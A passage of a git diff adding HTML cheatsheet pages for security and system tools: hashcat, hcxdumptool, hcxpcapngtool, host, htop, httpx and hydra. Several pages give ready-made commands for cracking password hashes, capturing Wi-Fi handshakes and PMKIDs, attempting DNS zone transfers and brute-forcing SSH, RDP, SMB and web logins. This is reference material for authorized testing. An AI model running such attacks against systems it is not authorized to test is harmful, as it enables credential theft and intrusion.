      hashcat -m 0 hash.txt -a 1 wordlist1.txt wordlist2.txt
      +

      With Rules

      +
      hashcat -m 0 hash.txt wordlist.txt -r rules/best64.rule
      +

      Show Cracked Hashes

      +
      hashcat -m 0 hash.txt --show
      +

      Resume Session

      +
      hashcat --restore --session my_session
      +

      High Performance

      +
      hashcat -m 0 hash.txt wordlist.txt -w 4 -O
      +

      Save Results

      +
      hashcat -m 0 hash.txt wordlist.txt -o cracked.txt
      +
      +

      Tips

      +
        +
      • Use -w 4 for maximum performance (may affect system usability)
      • +
      +
        +
      • Use -O for optimized kernels (faster but limited password length)
      • +
      +
        +
      • Use --show to display already cracked hashes
      • +
      +
        +
      • Save session with --session to resume later
      • +
      +
        +
      • Use -a 3 with masks for targeted brute force
      • +
      +
        +
      • Combine dictionary with rules (-r) for better results
      • +
      +
        +
      • Monitor GPU temperature to prevent damage
      • +
      +
        +
      • Use -m 22000 for modern WPA/WPA2 captures (hc22000 format)
      • +
      +
        +
      • Always test on authorized systems only
      • +
      +
        +
      • Check hashcat examples on website for specific hash types
      • +
      +
        +
      • Use --remove to clean up successfully cracked hashes
      • +
      +
        +
      • Start with small wordlists before large brute force attacks
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/hcxdumptool.html b/cheatsheets/hcxdumptool.html new file mode 100644 index 0000000..a18546d --- /dev/null +++ b/cheatsheets/hcxdumptool.html @@ -0,0 +1,226 @@ + + + + + + + + + + + hcxdumptool Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      hcxdumptool Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      hcxdumptool is a WiFi handshake capture tool designed to capture WPA/WPA2 handshakes and PMKID hashes from wireless networks. It works with monitor mode interfaces and can extract handshakes even from APs without active clients.

      +
      +

      Basic Usage

      +
        +
      • hcxdumptool -i <interface> -o <output> - Basic capture
      • +
      +
        +
      • hcxdumptool -i wlan0mon -o capture.pcapng - Capture to file
      • +
      +
        +
      • hcxdumptool -i <interface> --enable_status=1 -o <output> - With status output
      • +
      +
      +

      Interface Options

      +
        +
      • -i <interface> - Monitor mode interface (required)
      • +
      +
        +
      • --filterlist_ap=<file> - Filter list of APs (maclist)
      • +
      +
        +
      • --filterlist_client=<file> - Filter list of clients
      • +
      +
        +
      • --filterlist_mac=<file> - Combined filter list
      • +
      +
        +
      • --filtermode=1 - Filter mode (0=disabled, 1=AP, 2=client, 3=both)
      • +
      +
      +

      Target Selection

      +
        +
      • -c <channel> - Lock to specific channel
      • +
      +
        +
      • --do_rcascan - Perform channel scan
      • +
      +
        +
      • --rcascanlist=<channels> - Channels to scan (e.g., "1,6,11")
      • +
      +
        +
      • --bpf=<filter> - Berkeley Packet Filter
      • +
      +
      +

      Capture Options

      +
        +
      • --enable_status=1 - Enable status output
      • +
      +
        +
      • --enable_status=2 - Verbose status output
      • +
      +
        +
      • --enable_status=3 - Very verbose output
      • +
      +
        +
      • --disable_client_attacks - Disable client attacks
      • +
      +
        +
      • --disable_ap_attacks - Disable AP attacks
      • +
      +
        +
      • --active_beacon - Send active beacons
      • +
      +
        +
      • --stop_ap_attacks=<num> - Stop after N AP attacks
      • +
      +
        +
      • --stop_client_attacks=<num> - Stop after N client attacks
      • +
      +
      +

      Output Options

      +
        +
      • -o <file> - Output file (.pcapng format)
      • +
      +
        +
      • -w <file> - Write PMKID to file
      • +
      +
        +
      • --write_status=<file> - Write status to file
      • +
      +
        +
      • -k <file> - Read PMKID from file
      • +
      +
      +

      PMKID Capture

      +
        +
      • --enable_status=1 - Enable PMKID capture
      • +
      +
        +
      • -w <file> - Save PMKID hashes
      • +
      +
        +
      • PMKID is captured in first EAPOL message
      • +
      +
        +
      • No client required for PMKID capture
      • +
      +
      +

      Handshake Capture

      +
        +
      • Captures 4-way handshake automatically
      • +
      +
        +
      • Works when clients connect/disconnect
      • +
      +
        +
      • Can force deauthentication for handshake
      • +
      +
      +

      Common Examples

      +

      Basic Capture

      +
      sudo hcxdumptool -i wlan0mon -o capture.pcapng
      +

      Capture with Status

      +
      sudo hcxdumptool -i wlan0mon --enable_status=1 -o capture.pcapng
      +

      Capture Specific Channel

      +
      sudo hcxdumptool -i wlan0mon -c 6 -o capture.pcapng
      +

      Filter Specific APs

      +
      sudo hcxdumptool -i wlan0mon --filterlist_ap=ap_list.txt --filtermode=1 -o capture.pcapng
      +

      Capture PMKID Only

      +
      sudo hcxdumptool -i wlan0mon -w pmkid.txt -o capture.pcapng
      +

      Scan Specific Channels

      +
      sudo hcxdumptool -i wlan0mon --do_rcascan --rcascanlist="1,6,11" -o capture.pcapng
      +

      Verbose Output

      +
      sudo hcxdumptool -i wlan0mon --enable_status=3 -o capture.pcapng
      +

      Disable Client Attacks

      +
      sudo hcxdumptool -i wlan0mon --disable_client_attacks -o capture.pcapng
      +
      +

      Workflow

      +
        +
      1. Put interface in monitor mode: sudo airmon-ng start wlan0
      2. +
      3. Start capture: sudo hcxdumptool -i wlan0mon -o capture.pcapng
      4. +
      5. Let it run to capture handshakes/PMKIDs
      6. +
      7. Convert with hcxpcapngtool for hashcat
      8. +
      9. Crack with hashcat
      10. +
      +
      +

      Tips

      +
        +
      • Interface must be in monitor mode (use airmon-ng or iw)
      • +
      +
        +
      • Requires root/sudo privileges
      • +
      +
        +
      • PMKID capture doesn't require active clients
      • +
      +
        +
      • Handshake capture works best when clients connect/disconnect
      • +
      +
        +
      • Use --enable_status for real-time information
      • +
      +
        +
      • Filter lists help focus on specific targets
      • +
      +
        +
      • Use -c to lock to specific channel for better results
      • +
      +
        +
      • Output is in pcapng format (compatible with Wireshark)
      • +
      +
        +
      • Always test on authorized networks only
      • +
      +
        +
      • Convert pcapng to hashcat format with hcxpcapngtool
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/hcxpcapngtool.html b/cheatsheets/hcxpcapngtool.html new file mode 100644 index 0000000..e86bed5 --- /dev/null +++ b/cheatsheets/hcxpcapngtool.html @@ -0,0 +1,239 @@ + + + + + + + + + + + hcxpcapngtool Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      hcxpcapngtool Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      hcxpcapngtool converts and analyzes WiFi captures. It extracts WPA/WPA2 handshakes, PMKID hashes, and converts pcapng files to formats compatible with hashcat and other password cracking tools.

      +
      +

      Basic Usage

      +
        +
      • hcxpcapngtool -o <output> <input> - Convert to hashcat format
      • +
      +
        +
      • hcxpcapngtool -o hash.hc22000 capture.pcapng - Convert to hc22000 (PMKID)
      • +
      +
        +
      • hcxpcapngtool -o hash.hc22000 -z capture.pcapng - Convert with EAPOL (handshake)
      • +
      +
      +

      Input/Output Options

      +
        +
      • -o <file> - Output file
      • +
      +
        +
      • -k <file> - Output PMKID to file
      • +
      +
        +
      • -E <file> - Output ESSID wordlist
      • +
      +
        +
      • -I <file> - Output identity wordlist
      • +
      +
        +
      • -P <file> - Output passwords
      • +
      +
        +
      • -Z <file> - Output weak passphrases
      • +
      +
        +
      • -z <file> - Output EAPOL hashes (handshake)
      • +
      +
      +

      Analysis Options

      +
        +
      • --info - Show capture information
      • +
      +
        +
      • --timeline - Show timeline of captures
      • +
      +
        +
      • --list - List all captured networks
      • +
      +
        +
      • --filter=<bssid> - Filter by BSSID
      • +
      +
        +
      • --filter-ap=<bssid> - Filter AP by BSSID
      • +
      +
        +
      • --filter-client=<mac> - Filter client by MAC
      • +
      +
        +
      • --psk - Show PSK (if known)
      • +
      +
      +

      Hash Format Conversion

      +
        +
      • -o <file>.hc22000 - Output in hc22000 format (PMKID + EAPOL)
      • +
      +
        +
      • -o <file>.16800 - Output in 16800 format (PMKID)
      • +
      +
        +
      • -o <file>.2500 - Output in 2500 format (WPA/WPA2 handshake)
      • +
      +
        +
      • -o <file>.hccapx - Output in hccapx format (legacy)
      • +
      +
      +

      PMKID Extraction

      +
        +
      • hcxpcapngtool -o pmkid.hc22000 capture.pcapng - Extract PMKID
      • +
      +
        +
      • PMKID captured in first EAPOL message from AP
      • +
      +
        +
      • No client needed for PMKID capture
      • +
      +
        +
      • Format: PMKID*MAC_AP*MAC_CLIENT*ESSID*PSK
      • +
      +
      +

      Handshake Extraction

      +
        +
      • hcxpcapngtool -o handshake.hc22000 -z capture.pcapng - Extract handshake
      • +
      +
        +
      • Requires complete 4-way handshake
      • +
      +
        +
      • Combined with PMKID in hc22000 format
      • +
      +
      +

      Common Examples

      +

      Basic Conversion

      +
      hcxpcapngtool -o hash.hc22000 capture.pcapng
      +

      Convert with Handshake

      +
      hcxpcapngtool -o hash.hc22000 -z capture.pcapng
      +

      Show Capture Info

      +
      hcxpcapngtool --info capture.pcapng
      +

      List Networks

      +
      hcxpcapngtool --list capture.pcapng
      +

      Extract PMKID Only

      +
      hcxpcapngtool -o pmkid.hc22000 -k pmkid.txt capture.pcapng
      +

      Extract ESSID Wordlist

      +
      hcxpcapngtool -E essid_list.txt capture.pcapng
      +

      Filter by BSSID

      +
      hcxpcapngtool --filter-ap=AA:BB:CC:DD:EE:FF -o hash.hc22000 capture.pcapng
      +

      Convert Multiple Files

      +
      hcxpcapngtool -o combined.hc22000 capture1.pcapng capture2.pcapng
      +

      Legacy Format

      +
      hcxpcapngtool -o hash.hccapx capture.pcapng
      +
      +

      Hashcat Integration

      +

      PMKID Attack

      +
      hashcat -m 22000 hash.hc22000 wordlist.txt
      +

      Handshake Attack

      +
      hashcat -m 22000 hash.hc22000 wordlist.txt
      +

      hc22000 format supports both PMKID and handshakes

      +
      +

      File Formats

      +
        +
      • hc22000 - Modern format (PMKID + EAPOL handshake), hashcat mode 22000
      • +
      +
        +
      • 16800 - PMKID only, hashcat mode 16800
      • +
      +
        +
      • 2500 - WPA/WPA2 handshake, hashcat mode 2500
      • +
      +
        +
      • hccapx - Legacy format, hashcat mode 2500
      • +
      +
        +
      • pcapng - Original capture format (Wireshark compatible)
      • +
      +
      +

      Workflow

      +
        +
      1. Capture with hcxdumptool: hcxdumptool -i wlan0mon -o capture.pcapng
      2. +
      3. Convert with hcxpcapngtool: hcxpcapngtool -o hash.hc22000 capture.pcapng
      4. +
      5. Crack with hashcat: hashcat -m 22000 hash.hc22000 wordlist.txt
      6. +
      +
      +

      Tips

      +
        +
      • hc22000 format is preferred (supports both PMKID and handshakes)
      • +
      +
        +
      • Use --info to verify capture quality before converting
      • +
      +
        +
      • PMKID doesn't require complete handshake (faster capture)
      • +
      +
        +
      • Use -z flag to include EAPOL handshake hashes
      • +
      +
        +
      • Filter by BSSID to extract specific networks
      • +
      +
        +
      • Combine multiple captures into single hash file
      • +
      +
        +
      • Use --list to see what networks were captured
      • +
      +
        +
      • Extract ESSID wordlist for targeted attacks
      • +
      +
        +
      • Always test on authorized networks only
      • +
      +
        +
      • hc22000 format works with hashcat mode 22000
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/host.html b/cheatsheets/host.html new file mode 100644 index 0000000..1465ffc --- /dev/null +++ b/cheatsheets/host.html @@ -0,0 +1,214 @@ + + + + + + + + + + + host Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      host Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      host is a simple utility for performing DNS lookups. It's part of the BIND utilities and provides quick DNS resolution without the complexity of dig.

      +
      +

      Basic Usage

      +
        +
      • host <hostname> - Basic lookup
      • +
      +
        +
      • host <ip> - Reverse lookup
      • +
      +
        +
      • host <hostname> <dns-server> - Use specific DNS server
      • +
      +
      +

      Query Types

      +
        +
      • host -t A <hostname> - IPv4 address
      • +
      +
        +
      • host -t AAAA <hostname> - IPv6 address
      • +
      +
        +
      • host -t MX <hostname> - Mail servers
      • +
      +
        +
      • host -t NS <hostname> - Name servers
      • +
      +
        +
      • host -t TXT <hostname> - TXT records
      • +
      +
        +
      • host -t CNAME <hostname> - Canonical name
      • +
      +
        +
      • host -t SOA <hostname> - Start of authority
      • +
      +
        +
      • host -t PTR <ip> - Pointer record (reverse)
      • +
      +
        +
      • host -t ANY <hostname> - All records
      • +
      +
      +

      Options

      +
        +
      • -a - Equivalent to -v -t ANY
      • +
      +
        +
      • -v - Verbose output
      • +
      +
        +
      • -l - Zone transfer (AXFR)
      • +
      +
        +
      • -C - Compare SOA records from all NS
      • +
      +
        +
      • -4 - Use IPv4 only
      • +
      +
        +
      • -6 - Use IPv6 only
      • +
      +
        +
      • -r - Non-recursive query
      • +
      +
        +
      • -T - Use TCP instead of UDP
      • +
      +
        +
      • -W <seconds> - Wait timeout
      • +
      +
        +
      • -R <number> - Number of retries
      • +
      +
      +

      Common Examples

      +

      Basic Lookup

      +
      host example.com
      +

      Get IP addresses for domain.

      +

      Reverse Lookup

      +
      host 8.8.8.8
      +

      Find hostname for IP.

      +

      MX Records

      +
      host -t MX example.com
      +

      Find mail servers.

      +

      Name Servers

      +
      host -t NS example.com
      +

      Find authoritative name servers.

      +

      TXT Records

      +
      host -t TXT example.com
      +

      Get TXT records (SPF, DKIM, etc.).

      +

      Use Specific DNS

      +
      host example.com 8.8.8.8
      +

      Query using Google DNS.

      +

      All Records

      +
      host -a example.com
      +

      Verbose output with all record types.

      +

      Zone Transfer (AXFR)

      +
      host -l example.com ns1.example.com
      +

      Attempt zone transfer (usually blocked).

      +

      SOA Record

      +
      host -t SOA example.com
      +

      Get start of authority info.

      +

      Compare NS Records

      +
      host -C example.com
      +

      Compare SOA from all name servers.

      +
      +

      Output Examples

      +

      A Record Output

      +
      $ host example.com
      +example.com has address 93.184.216.34
      +example.com has IPv6 address 2606:2800:220:1:248:1893:25c8:1946
      +

      MX Record Output

      +
      $ host -t MX example.com
      +example.com mail is handled by 10 mail.example.com.
      +

      Reverse Lookup Output

      +
      $ host 8.8.8.8
      +8.8.8.8.in-addr.arpa domain name pointer dns.google.
      +
      +

      Comparison with Other Tools

      +

      host vs dig

      +
        +
      • host - Simple, quick, human-readable
      • +
      • dig - Detailed, more options, scriptable
      • +
      +

      host vs nslookup

      +
        +
      • host - Simpler output, CLI focused
      • +
      • nslookup - Interactive mode, legacy tool
      • +
      +
      +

      Tips

      +
        +
      • Use for quick DNS lookups
      • +
      +
        +
      • Try zone transfers (-l) during recon
      • +
      +
        +
      • Check MX records for mail server enumeration
      • +
      +
        +
      • Use -t TXT to find SPF/DKIM records
      • +
      +
        +
      • Query different DNS servers to compare
      • +
      +
        +
      • Use dig for more detailed analysis
      • +
      +
        +
      • Great for quick command-line lookups
      • +
      +
        +
      • Reverse lookups can reveal shared hosting
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/htop.html b/cheatsheets/htop.html new file mode 100644 index 0000000..75288cd --- /dev/null +++ b/cheatsheets/htop.html @@ -0,0 +1,197 @@ + + + + + + + + + + + htop Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      htop Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      htop is an interactive process viewer and system monitor. Enhanced version of top with better visualization, mouse support, and easier navigation.

      +
      +

      Basic Usage

      +
        +
      • htop - Start interactive monitor
      • +
      +
        +
      • htop -u user - Show only user processes
      • +
      +
        +
      • htop -p PID1,PID2 - Monitor specific PIDs
      • +
      +
        +
      • htop -s column - Sort by column
      • +
      +
      +

      Interactive Keys

      +
        +
      • F1 - Help
      • +
      +
        +
      • F2 - Setup (configure display)
      • +
      +
        +
      • F3 - Search process
      • +
      +
        +
      • F4 - Filter processes
      • +
      +
        +
      • F5 - Tree view
      • +
      +
        +
      • F6 - Sort by column
      • +
      +
        +
      • F7 - Decrease nice (higher priority)
      • +
      +
        +
      • F8 - Increase nice (lower priority)
      • +
      +
        +
      • F9 - Kill process
      • +
      +
        +
      • F10 - Quit
      • +
      +
        +
      • Space - Tag process
      • +
      +
        +
      • u - Show processes of specific user
      • +
      +
        +
      • t - Tree/List view toggle
      • +
      +
        +
      • H - Show/hide threads
      • +
      +
        +
      • K - Show/hide kernel threads
      • +
      +
        +
      • P - Sort by CPU
      • +
      +
        +
      • M - Sort by memory
      • +
      +
        +
      • T - Sort by time
      • +
      +
        +
      • / - Search
      • +
      +
        +
      • \ - Filter
      • +
      +
      +

      Command Line Options

      +
        +
      • -d delay - Update delay in seconds
      • +
      +
        +
      • -u user - Show only user processes
      • +
      +
        +
      • -p PID - Show only specific PIDs
      • +
      +
        +
      • -s column - Sort by column
      • +
      +
        +
      • -C - No color
      • +
      +
        +
      • -t - Tree view by default
      • +
      +
      +

      Common Examples

      +

      Basic Monitor

      +
      htop
      +

      Start interactive monitor.

      +

      User Processes

      +
      htop -u username
      +

      Show only specific user.

      +

      Sort by Memory

      +
      htop -s PERCENT_MEM
      +

      Start sorted by memory usage.

      +

      Tree View

      +
      htop -t
      +

      Start in tree view.

      +

      Specific PIDs

      +
      htop -p 1234,5678
      +

      Monitor specific processes.

      +
      +

      Tips

      +
        +
      • Use F6 to change sort column
      • +
      +
        +
      • Use F4 to filter processes
      • +
      +
        +
      • Use F5 for tree view to see process hierarchy
      • +
      +
        +
      • Use F9 to kill processes
      • +
      +
        +
      • Use F7/F8 to adjust process priority
      • +
      +
        +
      • Much more user-friendly than top
      • +
      +
        +
      • Supports mouse interaction
      • +
      +
        +
      • Essential for system monitoring
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/httpx.html b/cheatsheets/httpx.html new file mode 100644 index 0000000..31008f5 --- /dev/null +++ b/cheatsheets/httpx.html @@ -0,0 +1,291 @@ + + + + + + + + + + + httpx Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      httpx Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      httpx is a fast and multi-purpose HTTP toolkit by ProjectDiscovery. It probes for live hosts, extracts information, and integrates with other tools in recon pipelines.

      +
      +

      Basic Usage

      +
        +
      • echo "example.com" | httpx - Probe single host
      • +
      +
        +
      • cat hosts.txt | httpx - Probe multiple hosts
      • +
      +
        +
      • httpx -l hosts.txt - Read from file
      • +
      +
      +

      Input Options

      +
        +
      • -l, -list - Input file with hosts
      • +
      +
        +
      • -u, -target - Single target URL
      • +
      +
        +
      • -ports - Ports to probe (comma-separated)
      • +
      +
        +
      • -path - Path to append to URLs
      • +
      +
      +

      Probing Options

      +
        +
      • -sc, -status-code - Show status code
      • +
      +
        +
      • -cl, -content-length - Show content length
      • +
      +
        +
      • -ct, -content-type - Show content type
      • +
      +
        +
      • -title - Show page title
      • +
      +
        +
      • -server - Show server header
      • +
      +
        +
      • -td, -tech-detect - Detect technologies
      • +
      +
        +
      • -ip - Show IP address
      • +
      +
        +
      • -cname - Show CNAME record
      • +
      +
        +
      • -cdn - Detect CDN
      • +
      +
        +
      • -location - Show redirect location
      • +
      +
        +
      • -favicon - Extract favicon hash
      • +
      +
        +
      • -hash - Show response body hash
      • +
      +
        +
      • -jarm - Show JARM fingerprint
      • +
      +
        +
      • -rt, -response-time - Show response time
      • +
      +
        +
      • -websocket - Detect WebSocket
      • +
      +
        +
      • -pipeline - Show HTTP pipeline support
      • +
      +
        +
      • -http2 - Show HTTP/2 support
      • +
      +
      +

      Filtering Options

      +
        +
      • -mc, -match-code - Match status codes
      • +
      +
        +
      • -ml, -match-length - Match content length
      • +
      +
        +
      • -ms, -match-string - Match response string
      • +
      +
        +
      • -mr, -match-regex - Match regex
      • +
      +
        +
      • -fc, -filter-code - Filter status codes
      • +
      +
        +
      • -fl, -filter-length - Filter content length
      • +
      +
        +
      • -fs, -filter-string - Filter response string
      • +
      +
        +
      • -fr, -filter-regex - Filter regex
      • +
      +
      +

      Output Options

      +
        +
      • -o, -output - Output file
      • +
      +
        +
      • -json - JSON output
      • +
      +
        +
      • -csv - CSV output
      • +
      +
        +
      • -silent - Silent mode (only results)
      • +
      +
        +
      • -v, -verbose - Verbose output
      • +
      +
        +
      • -nc, -no-color - Disable colors
      • +
      +
        +
      • -sr, -store-response - Store response
      • +
      +
        +
      • -srd, -store-response-dir - Response directory
      • +
      +
      +

      HTTP Options

      +
        +
      • -H, -header - Custom headers
      • +
      +
        +
      • -x, -http-proxy - HTTP proxy
      • +
      +
        +
      • -follow-redirects - Follow redirects
      • +
      +
        +
      • -follow-host-redirects - Follow same-host redirects
      • +
      +
        +
      • -max-redirects - Maximum redirects
      • +
      +
        +
      • -timeout - Timeout in seconds
      • +
      +
        +
      • -retries - Number of retries
      • +
      +
        +
      • -threads - Concurrent threads
      • +
      +
        +
      • -rate-limit - Requests per second
      • +
      +
      +

      Common Examples

      +

      Basic Probe

      +
      cat subdomains.txt | httpx
      +

      Check which subdomains are live.

      +

      With Status and Title

      +
      cat hosts.txt | httpx -sc -title
      +

      Show status codes and page titles.

      +

      Tech Detection

      +
      cat hosts.txt | httpx -td
      +

      Detect technologies (wappalyzer-like).

      +

      Full Info

      +
      cat hosts.txt | httpx -sc -title -server -td -ip
      +

      Comprehensive host information.

      +

      Filter by Status

      +
      cat hosts.txt | httpx -mc 200
      +

      Only show 200 OK responses.

      +

      Exclude Status

      +
      cat hosts.txt | httpx -fc 404,403
      +

      Exclude 404 and 403 responses.

      +

      JSON Output

      +
      cat hosts.txt | httpx -json -o results.json
      +

      Save detailed JSON output.

      +

      Multiple Ports

      +
      cat hosts.txt | httpx -ports 80,443,8080,8443
      +

      Check multiple ports.

      +

      Silent for Piping

      +
      subfinder -d example.com -silent | httpx -silent
      +

      Clean output for pipelines.

      +

      With Custom Header

      +
      cat hosts.txt | httpx -H "Authorization: Bearer token"
      +

      Add auth header to requests.

      +

      Follow Redirects

      +
      cat hosts.txt | httpx -follow-redirects -location
      +

      Follow and show redirect locations.

      +

      Store Responses

      +
      cat hosts.txt | httpx -sr -srd ./responses
      +

      Save all response bodies.

      +
      +

      Common Pipelines

      +

      Full Subdomain Recon

      +
      subfinder -d example.com -silent | httpx -silent -sc -title -td | tee results.txt
      +

      Find Interesting Pages

      +
      cat urls.txt | httpx -mc 200 -title | grep -i "admin\|login\|dashboard"
      +

      Screenshot Pipeline

      +
      subfinder -d example.com -silent | httpx -silent | aquatone
      +
      +

      Tips

      +
        +
      • Use -silent for clean pipeline output
      • +
      +
        +
      • Combine -sc -title -td for quick triage
      • +
      +
        +
      • Use -json for detailed data extraction
      • +
      +
        +
      • Filter with -mc/-fc to focus results
      • +
      +
        +
      • Store responses for later analysis
      • +
      +
        +
      • Essential tool in recon pipelines
      • +
      +
        +
      • Part of ProjectDiscovery toolkit (works with nuclei, subfinder)
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/hydra.html b/cheatsheets/hydra.html new file mode 100644 index 0000000..2f26f2e --- /dev/null +++ b/cheatsheets/hydra.html @@ -0,0 +1,268 @@ + + + + + + + + + + + hydra Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      hydra Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      hydra is a fast and flexible brute force authentication tool. It supports parallel attacks on many protocols including SSH, HTTP, FTP, SMB, and more.

      +
      +

      Basic Syntax

      +
        +
      • hydra -l <user> -P <wordlist> <target> <service> - Basic brute force
      • +
      +
        +
      • hydra -L <userlist> -p <password> <target> <service> - User enumeration
      • +
      +
        +
      • hydra -L <userlist> -P <wordlist> <target> <service> - Full brute force
      • +
      +
      +

      Common Options

      +
        +
      • -l <login> - Single login name
      • +
      +
        +
      • -L <file> - Login file (one per line)
      • +
      +
        +
      • -p <password> - Single password
      • +
      +
        +
      • -P <file> - Password file (one per line)
      • +
      +
        +
      • -t <tasks> - Number of parallel tasks (default 16)
      • +
      +
        +
      • -w <timeout> - Wait time between attempts (default 32)
      • +
      +
        +
      • -f - Exit on first valid login
      • +
      +
        +
      • -s <port> - Port number (if non-standard)
      • +
      +
        +
      • -v - Verbose mode
      • +
      +
        +
      • -V - Show login/password attempts
      • +
      +
        +
      • -o <file> - Output file for found credentials
      • +
      +
      +

      SSH Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> ssh://<target> - SSH attack
      • +
      +
        +
      • hydra -l <user> -P <wordlist> -s 2222 ssh://<target> - Custom SSH port
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt ssh://<target> - Multiple users
      • +
      +
      +

      HTTP/HTTPS Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> http-get://<target>/login - HTTP GET
      • +
      +
        +
      • hydra -l <user> -P <wordlist> http-post-form://<target>/login:"user=^USER^&pass=^PASS^":"F=incorrect" - POST form
      • +
      +
        +
      • hydra -l <user> -P <wordlist> https://<target>/login - HTTPS
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt http-get://<target>/protected - HTTP basic auth
      • +
      +
      +

      FTP Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> ftp://<target> - FTP attack
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt ftp://<target> - Multiple users
      • +
      +
        +
      • hydra -l anonymous -P passwords.txt ftp://<target> - Anonymous FTP
      • +
      +
      +

      SMB Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> smb://<target> - SMB attack
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt smb://<target> - Multiple users
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt smb://<target>/share - Specific share
      • +
      +
      +

      RDP Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> rdp://<target> - RDP attack
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt rdp://<target> - Multiple users
      • +
      +
      +

      MySQL Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> mysql://<target> - MySQL attack
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt mysql://<target> - Multiple users
      • +
      +
      +

      PostgreSQL Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> postgresql://<target> - PostgreSQL attack
      • +
      +
        +
      • hydra -L users.txt -P passwords.txt postgresql://<target> - Multiple users
      • +
      +
      +

      VNC Brute Force

      +
        +
      • hydra -l <user> -P <wordlist> vnc://<target> - VNC attack
      • +
      +
        +
      • hydra -p <password> vnc://<target> - Password only (no user)
      • +
      +
      +

      Advanced Options

      +
        +
      • -e nsr - Try null password, same as login, reversed login
      • +
      +
        +
      • -e n - Try null password
      • +
      +
        +
      • -e s - Try same as login
      • +
      +
        +
      • -e r - Try reversed login
      • +
      +
        +
      • -M <file> - Target list file
      • +
      +
        +
      • -C <file> - Colon-separated "login:pass" format
      • +
      +
        +
      • -S - Use SSL
      • +
      +
        +
      • -u - Loop around users, not passwords
      • +
      +
        +
      • -x min:max:charset - Password generation (e.g., -x 6:8:aA1)
      • +
      +
      +

      Common Examples

      +

      SSH Attack

      +
      hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
      +

      HTTP POST Form

      +
      hydra -l admin -P passwords.txt http-post-form://target.com/login.php:"user=^USER^&pass=^PASS^":"Invalid"
      +

      Multiple Users SSH

      +
      hydra -L users.txt -P passwords.txt -t 4 ssh://192.168.1.100
      +

      FTP Attack

      +
